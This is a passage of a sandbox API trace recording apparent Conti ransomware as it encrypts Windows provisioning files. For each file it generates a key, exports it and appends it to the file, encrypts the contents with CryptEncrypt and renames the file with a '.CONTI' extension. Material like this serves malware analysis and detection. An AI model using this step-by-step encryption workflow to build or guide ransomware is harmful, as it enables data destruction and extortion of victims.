	[0109.600] lstrcpyW (in: lpString1=0x65b8730, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.600] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0109.600] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0109.603] GetProcessHeap () returned 0x1720000
	[0109.603] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8730 | out: hHeap=0x1720000) returned 1
	[0109.603] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0109.603] GetProcessHeap () returned 0x1720000
	[0109.603] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e860 | out: hHeap=0x1720000) returned 1
	[0109.603] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0109.603] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x6b7f478) returned 1
	[0109.603] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x587f8ac | out: pbData=0x17c5104*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0109.604] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.604] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.604] GetLastError () returned 0x0
	[0109.604] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=720) returned 1
	[0109.604] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0109.605] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.605] SetEndOfFile (hFile=0x320) returned 1
	[0109.605] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.605] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.605] WriteFile (in: hFile=0x320, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0109.607] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.607] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.607] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2e0) returned 1
	[0109.607] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.607] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.607] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.607] WriteFile (in: hFile=0x320, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0109.607] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.607] CloseHandle (hObject=0x320) returned 1
	[0109.607] GetProcessHeap () returned 0x1720000
	[0109.607] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65b8730
	[0109.607] lstrcpyW (in: lpString1=0x65b8730, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml"
	[0109.607] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.607] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.608] GetProcessHeap () returned 0x1720000
	[0109.608] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8730 | out: hHeap=0x1720000) returned 1
	[0109.608] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.608] GetProcessHeap () returned 0x1720000
	[0109.608] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d8060 | out: hHeap=0x1720000) returned 1
	[0109.608] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0109.608] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x6b7f178) returned 1
	[0109.608] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x587f8ac | out: pbData=0x17c534c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0109.609] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.609] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.609] GetLastError () returned 0x0
	[0109.609] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=710) returned 1
	[0109.610] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0109.610] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.610] SetEndOfFile (hFile=0x320) returned 1
	[0109.610] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.610] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.610] WriteFile (in: hFile=0x320, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0109.612] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.612] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2c6, lpOverlapped=0x0) returned 1
	[0109.612] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2c6, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0109.612] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.612] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.612] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.612] WriteFile (in: hFile=0x320, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0109.612] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.612] CloseHandle (hObject=0x320) returned 1
	[0109.612] GetProcessHeap () returned 0x1720000
	[0109.612] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65b8730
	[0109.612] lstrcpyW (in: lpString1=0x65b8730, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml"
	[0109.612] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.612] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.613] GetProcessHeap () returned 0x1720000
	[0109.613] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8730 | out: hHeap=0x1720000) returned 1
	[0109.613] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0109.613] GetProcessHeap () returned 0x1720000
	[0109.613] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d81a8 | out: hHeap=0x1720000) returned 1
	[0109.613] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0109.613] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x6b7f478) returned 1
	[0109.613] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x587f8ac | out: pbData=0x17c5594*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0109.614] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.614] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.614] GetLastError () returned 0x0
	[0109.614] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=832) returned 1
	[0109.614] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x340
	[0109.614] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.614] SetEndOfFile (hFile=0x320) returned 1
	[0109.615] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.615] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.615] WriteFile (in: hFile=0x320, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0109.616] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.616] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x340, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x340, lpOverlapped=0x0) returned 1
	[0109.617] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x340, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x350) returned 1
	[0109.617] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.617] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x350, lpOverlapped=0x0) returned 1
	[0109.617] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.617] WriteFile (in: hFile=0x320, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0109.617] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.617] CloseHandle (hObject=0x320) returned 1
	[0109.617] GetProcessHeap () returned 0x1720000
	[0109.617] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65b8730
	[0109.617] lstrcpyW (in: lpString1=0x65b8730, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml"
	[0109.617] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.617] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.618] GetProcessHeap () returned 0x1720000
	[0109.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8730 | out: hHeap=0x1720000) returned 1
	[0109.618] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.618] GetProcessHeap () returned 0x1720000
	[0109.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7768 | out: hHeap=0x1720000) returned 1
	[0109.618] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0109.618] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x6b7f3b8) returned 1
	[0109.618] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x587f8ac | out: pbData=0x17c57dc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0109.619] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.619] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.619] GetLastError () returned 0x0
	[0109.619] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=716) returned 1
	[0109.619] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0109.619] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.619] SetEndOfFile (hFile=0x320) returned 1
	[0109.619] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
